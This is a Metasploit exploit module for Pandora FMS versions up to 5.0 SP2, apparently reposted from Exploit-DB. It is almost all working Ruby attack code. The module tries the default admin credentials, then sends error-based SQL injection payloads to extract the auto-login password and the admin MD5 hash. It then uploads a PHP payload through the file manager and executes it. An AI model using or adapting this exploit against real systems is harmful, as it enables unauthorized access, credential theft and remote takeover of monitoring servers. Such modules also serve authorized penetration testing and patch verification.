Pandora Fms – SQL Injection Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2014-11-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35380/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'Pandora FMS SQLi Remote Code Execution',
    'Description'=> %q{
    This module attempts to exploit multiple issues in order to gain remote
    code execution under Pandora FMS version <= 5.0 SP2.First, an attempt
    to authenticate using default credentials is performed.If this method
    fails, a SQL injection vulnerability is leveraged in order to extract
    the "Auto Login" password hash.If this value is not set, the module
    will then extract the administrator account's MD5 password hash.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
    'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
    ],
    'References' =>
    [
    ['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
    ['URL', 'http://blog.pandorafms.org/?p=2041']
    ],
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Targets'=>
    [
    ['Pandora FMS version <= 5.0 SP2', {}]
    ],
    'Privileged' => false,
    'Payload'=>
    {
    'Space' => 50000,
    'DisableNops' => true,
    },
    'DisclosureDate' => "Feb 1 2014",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
    OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
    OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
    ], self.class)
    end
    
    def uri
    target_uri.path
    end
    
    
    def check
    vprint_status("#{peer} - Trying to detect installed version")
    
    version = nil
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(uri, 'index.php')
    })
    
    if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
    if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
    version = $1
    else
    return Exploit::CheckCode::Detected
    end
    end
    
    unless version.nil?
    vprint_status("#{peer} - Pandora FMS #{version} found")
    if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
    return Exploit::CheckCode::Appears
    end
    end
    
    Exploit::CheckCode::Safe
    end
    
    
    # Attempt to login with credentials (default admin:pandora)
    def authenticate
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(uri, 'index.php'),
    'vars_get' => {
    'login' => "1",
    },
    'vars_post' => {
    'nick' => datastore['USER'],
    'pass' => datastore['PASS'],
    'Login' => 'Login',
    }
    })
    
    return auth_succeeded?(res)
    end
    
    # Attempt to login with auto login and SQLi
    def login_hash
    clue = rand_text_alpha(8)
    sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
    # select value from tconfig where token = 'loginhash_pwd';
    sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
    sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
    sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
    sqli << "BY x)a) AND 'msf'='msf"
    
    password = inject_sql(sqli, clue)
    
    if password && password.length != 0
    print_status("#{peer} - Extracted auto login password (#{password})")
    else
    print_error("#{peer} - No auto login password has been defined!")
    return false
    end
    
    print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
    # Attempt to login using login hash password
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(uri, 'index.php'),
    'vars_get' => {
    'loginhash' => 'auto',
    },
    'vars_post' => {
    'loginhash_data' => Rex::Text.md5("admin#{password}"),
    'loginhash_user' => 'admin',
    }
    })
    
    return auth_succeeded?(res)
    end
    
    
    def auth_succeeded?(res)
    if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
    print_status("#{peer} - Successfully authenticated!")
    print_status("#{peer} - Attempting to retrieve session cookie")
    @cookie = res.get_cookies
    if @cookie.include?('PHPSESSID')
    print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
    return true
    else
    print_error("#{peer} - Error retrieving cookie!")
    end
    else
    print_error("#{peer} - Authentication failed!")
    end
    
    false
    end
    
    
    def extract
    # Generate random string and convert to hex
    clue = rand_text_alpha(8)
    hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
    
    # select password from tusuario where id_user = 0;
    sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
    sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
    sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
    sqli << "x)a) AND 'msf'='msf"
    
    password = inject_sql(sqli, clue)
    
    if password && password.length != 0
    print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
    else
    print_error("#{peer} - Unable to extract password hash!")
    return false
    end
    end
    
    
    def inject_sql(sql, fence_post)
    # Extract password hash from database
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(uri, 'mobile', 'index.php'),
    'vars_post' => {
    'action' => 'login',
    'user' => sql,
    'password' => 'pass',
    'input' => 'Login'
    }
    })
    
    result = nil
    if res && res.code == 200
    match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
    if match
    result = match[1]
    else
    print_error("#{peer} - SQL injection failed")
    end
    end
    result
    end
    
    def upload
    # Extract hash and hash2 from response
    res = send_request_cgi({
    'method' => 'GET',
    'cookie' => @cookie,
    'uri'=> normalize_uri(uri, 'index.php'),
    'vars_get' => {
    'sec' => 'gsetup',
    'sec2' => 'godmode/setup/file_manager'
    }
    })
    
    if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
    form = $1
    
    # Extract hash
    if form =~ /(?<=name="hash" type="hidden"value=")(.*?)(?=" \/>)/
    hash = $1
    else
    print_error("#{peer} - Could not extract hash from response!")
    fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
    end
    
    # Extract hash2
    if form =~ /(?<=name="hash2" type="hidden"value=")(.*?)(?=" \/>)/
    hash2 = $1
    else
    print_error("#{peer} - Could not extract hash2 from response!")
    fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
    end
    
    # Extract real_directory
    if form =~ /(?<=name="real_directory" type="hidden"value=")(.*?)(" \/>)/
    real_directory = $1
    else
    print_error("#{peer} - Could not extract real_directory from response!")
    fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
    end
    else
    print_error("#{peer} - Could not identify upload form!")
    fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
    end
    
    
    # Upload script
    @payload_name = "#{rand_text_alpha(8)}.php"
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
    post_data.add_part('', nil, nil, 'form-data; name="unmask"')
    post_data.add_part('Go', nil, nil, 'form-data; name="go"')
    post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
    post_data.add_part('images', nil, nil, 'form-data; name="directory"')
    post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
    post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
    post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
    
    print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
    res = send_request_cgi({
    'method' => 'POST',
    'cookie' => @cookie,
    'uri'=> normalize_uri(uri, 'index.php'),
    'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    'data' => post_data.to_s,
    'vars_get' => {
    'sec' => 'gsetup',
    'sec2' => 'godmode/setup/file_manager'
    }
    })
    
    if res && res.code == 200 && res.body.include?("Upload correct")
    register_file_for_cleanup(@payload_name)
    print_status("#{peer} - Successfully uploaded payload")
    else
    fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
    end
    end
    
    
    def exploit
    # First try to authenticate using default or user-supplied credentials
    print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
    auth = authenticate
    
    unless auth
    print_status("#{peer} - Attempting to extract auto login hash via SQLi")
    auth = login_hash
    end
    
    unless auth
    print_status("#{peer} - Attempting to extract admin password hash with SQLi")
    extract
    fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")
    end
    
    print_status("#{peer} - Uploading PHP payload...")
    upload
    
    print_status("#{peer} - Executing payload...")
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(uri, 'images', @payload_name),
    'cookie' => @cookie
    }, 1)
    end
    end